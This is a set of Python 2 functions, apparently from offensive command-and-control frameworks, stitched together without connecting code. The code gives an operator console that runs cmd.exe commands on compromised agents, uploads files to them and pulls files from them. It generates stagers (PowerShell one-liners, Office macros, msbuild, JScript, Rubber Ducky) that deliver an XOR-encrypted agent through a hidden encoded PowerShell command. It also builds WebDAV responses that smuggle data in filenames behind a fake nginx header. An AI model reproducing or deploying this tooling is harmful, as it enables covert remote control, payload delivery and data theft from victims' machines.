def do_cli(self, args): """Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)""" if not self.currentAgentID: print(helpers.color("[!] No agent selected.\nUse the 'list' command to get the list of available agents, then 'use' to select one")) return print helpers.color("[*] Switching to CLI mode") print helpers.color("[*] Use the command 'back' to exit CLI mode") while True: cli = raw_input("[{}-cli]#> ".format(self.currentAgentID)) if cli: if cli == 'back': return else: request = helpers.b64encode('cli')+'|'+helpers.b64encode(cli) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer, block until we get an answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return
def do_putFile(self, args): """putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]") return try: arguments = helpers.retrieveQuotedArgs(args,2) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return localFile = arguments[0] # Path normalization for Windows if len(arguments) > 1: # Add a trailing backslash if missing and replace forward slashes to backslashes destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\") else: destinationPath = "temp" # Check local file actually exists if os.path.isfile(localFile): fileName = os.path.basename(localFile) # Open local file and base64 encode it try: with open(localFile) as fileHandle: fileBytesEncoded = helpers.b64encode(fileHandle.read()) fileHandle.close() request = helpers.b64encode('tfc22a')+'|' \ +fileBytesEncoded+'|' \ +helpers.b64encode(destinationPath)+'|' \ +helpers.b64encode(fileName) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return except IOError: print helpers.color("[!] Could not open or read file [{}]".format(localFile)) else: print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
def do_getFile(self, args): """getFile <agent local file>\nDownload a file from the agent to the local system""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>") return try: arguments = helpers.retrieveQuotedArgs(args,1) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return # Path normalization for Windows fileName = os.path.basename(arguments[0]) # Path normalization for Windows filePath = arguments[0].replace("/","\\") request = helpers.b64encode('tfa2c2')+'|'+helpers.b64encode(filePath) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer response = self.m2cQueue.get() if response['type'] == 'response': # Save file in the incoming folder try: with open(config.INCOMINGFILES+'/'+fileName, 'w+') as fileHandle: fileHandle.write(helpers.b64decode(response['value'])) fileHandle.close() except IOError: print helpers.color("[!] Could not write to file [{}]".format(config.INCOMINGFILES+'/'+fileName)) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None
def genStager(self, stagerType, stageName): # These are the common parameters required by the various stager (powershell or other) script stagerParameters = { 'stagePublicURL': self.statusHandler.publishedStageList[stageName], 'xorKey': Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256"), 'masterKey': helpers.b64encode(self.statusHandler.masterKey), 'accessToken': self.dropboxHandler.token } if stagerType == "oneliner": print print helpers.color(stagers.GenStager.oneLiner(stagerParameters), 'green') print print helpers.color( "[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator" ) return elif stagerType == "batch": stagers.GenStager.batch(stagerParameters) return elif stagerType == "batch2": stagers.GenStager.batch2(stagerParameters) return elif stagerType == "macro": stagers.GenStager.macro(stagerParameters) return elif stagerType == "msbuild": stagers.GenStager.msbuild(stagerParameters) return elif stagerType == "javascript": stagers.GenStager.javascript(stagerParameters) return elif stagerType == "ducky": stagers.GenStager.ducky(stagerParameters) return elif stagerType == "sct": stagers.GenStager.sct(stagerParameters) return
def do_stop(self, args): """Stop the current agent""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return choice = raw_input(helpers.color("\n[>] Are you sure you want to stop this agent ? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": request = helpers.b64encode('stop') # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer # First response is from the agent terminating response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) else: # Unexpected mainMessage type at this stage print helpers.color("[!] Unexpected message type at this stage: ") print mainMessage # Second message is from the websocketserver on websocket close response = self.m2cQueue.get() if response['type'] != 'disconnected': # Unexpected mainMessage type at this stage print helpers.color("[!] Unexpected message type at this stage: ") print mainMessage self.prompt = "[no agent]#> " self.currentAgentID = None
if masterKey is "": while True: password = getpass.getpass( "[SETUP] Enter the master password used to encrypt all data between the agents and the controler: " ) if password == "": print helpers.color( "[!] You must specify a master password. It is a mandatory settings" ) else: # Derive a 16 bytes (128 bits) master key from the provided password masterKey = pyscrypt.hash(password, "saltmegood", 1024, 1, 1, 16) print helpers.color( "[+] Derived master key from password: [{}]\nYou can save it in the config file to reuse it automatically next time" .format(helpers.b64encode(masterKey))) break else: masterKey = helpers.b64decode(masterKey) print helpers.color( "[*][CONFIG] Using master key from configuration file") #------------------------------------------------------------------------------ # Check that required directories and path are available, if not create them if not os.path.isdir(cfg.defaultPath['incoming']): os.makedirs(cfg.defaultPath['incoming']) print helpers.color( "[+] Creating [{}] directory for incoming files".format( cfg.defaultPath['incoming'])) #------------------------------------------------------------------------------
def do_genStager(self, args): """genStager <jscript1|jscript2|jscript3>\nGenerates a stager of the selected type""" # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: genStager <stager_name>") return # Retrieve the type of stager to generate stagerType = args.split()[0] # Check it is a supported type of stager if stagerType not in ['jscript1', 'jscript2', 'jscript3', 'psoneliner']: print helpers.color("[!] Invalid stager type") return # Common parameters for stager generation params = {'callbackURL': config.CALLBACK, 'port': config.PORT, 'prefix': config.IDPREFIX} #---- Generate stager jscript1 if stagerType == 'jscript1': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent1_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent1.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript2 elif stagerType == 'jscript2': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent2.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript3 elif stagerType == 'jscript3': stager2 = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stager2Encoded = helpers.b64encode(stager2) stager = helpers.convertFromTemplate({'encoded': stager2Encoded}, 'templates/wsc2Agent3_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent3.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager psoneliner elif stagerType == 'psoneliner': # Get bytes from the .Net assembly WSC2 agent try: with open(config.AGENTRELEASE) as fileHandle: agentBytes = bytearray(fileHandle.read()) fileHandle.close() except IOError: print helpers.color("[!] Could not read agent release file [{}]".format(config.AGENTRELEASE)) # We'll simply use the sha256 hash of the password as the XOR encryption key xorKey = Crypto.convertKey(config.XORPASSWORD, outputFormat = "sha256") # Write the XOR encrypted agent file in the web static delivery folder try: with open(config.STATICFILES+'/'+'agent.txt' , 'w+') as fileHandle: fileHandle.write(Crypto.xor(agentBytes, xorKey)) fileHandle.close() except IOError: print helpers.color("[!] Could not write xor encrypted agent file [{}]".format(config.STATICFILES+'/'+'agent.txt')) return params['xorKey'] = xorKey posh = helpers.convertFromTemplate(params, 'templates/posh.tpl') print helpers.color("[+] Powershell one liner:") print "powershell.exe -NoP -sta -NonI -W Hidden -e {}".format(helpers.powershellEncode(posh))
def propfindResponse(self, data=None, encode=True): # Get current time now = datetime.now().replace(microsecond=0) # Prepare the response's body body = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n" body += "<D:multistatus xmlns:D=\"DAV:\">\r\n" body += "<D:response>\r\n" body += "<D:href>/</D:href>\r\n" body += "<D:propstat>\r\n" body += "<D:prop>\r\n" body += "<D:creationdate>{}</D:creationdate>\r\n".format(helpers.webdavdate(now)) body += "<D:displayname></D:displayname>\r\n" body += "<D:getcontentlanguage/>\r\n" body += "<D:getcontentlength>4096</D:getcontentlength>\r\n" body += "<D:getcontenttype/>\r\n" body += "<D:getetag/>\r\n" body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(helpers.httpdate(now)) body += "<D:lockdiscovery/>\r\n" body += "<D:resourcetype><D:collection/></D:resourcetype>\r\n" body += "<D:source/>\r\n" body += "<D:supportedlock/>\r\n" body += "</D:prop>\r\n" body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n" body += "</D:propstat>\r\n" body += "</D:response>\r\n" if data: encodedData = helpers.b64encode(data) if encode else data # Check if the encoded data contains special characters not suited for a 'Windows' filename if (encodedData.find('/') != -1): encodedData = encodedData.replace('/','_') chunks = list(helpers.chunks(encodedData, 250)) i = 0 for chunk in chunks: body += "<D:response>\r\n" body += "<D:href>/{}</D:href>\r\n".format(chunk) body += "<D:propstat>\r\n" body += "<D:prop>\r\n" body += "<D:creationdate>{}</D:creationdate>\r\n".format(helpers.webdavdate(now.replace(minute=i))) body += "<D:displayname>{}</D:displayname>\r\n".format(chunk) body += "<D:getcontentlanguage/>\r\n" body += "<D:getcontentlength>0</D:getcontentlength>\r\n" body += "<D:getcontenttype/>\r\n" body += "<D:getetag/>\r\n" body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(helpers.httpdate(now.replace(minute=i))) body += "<D:lockdiscovery/>\r\n" body += "<D:resourcetype/>\r\n" body += "<D:source/>\r\n" body += "<D:supportedlock/>\r\n" body += "</D:prop>\r\n" body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n" body += "</D:propstat>\r\n" body += "</D:response>\r\n" i+=1 body += "</D:multistatus>\r\n" responseHeader = "HTTP/1.1 207 Multi-Status\r\n" responseHeader += "Server: nginx/1.6.2\r\n" responseHeader += "Date: {}\r\n".format(helpers.httpdate(datetime.now())) responseHeader += "Content-Length: {}\r\n".format(len(body)) responseHeader += "Proxy-Connection: Keep-Alive\r\n" responseHeader += "Connection: Keep-Alive\r\n\r\n" return responseHeader + body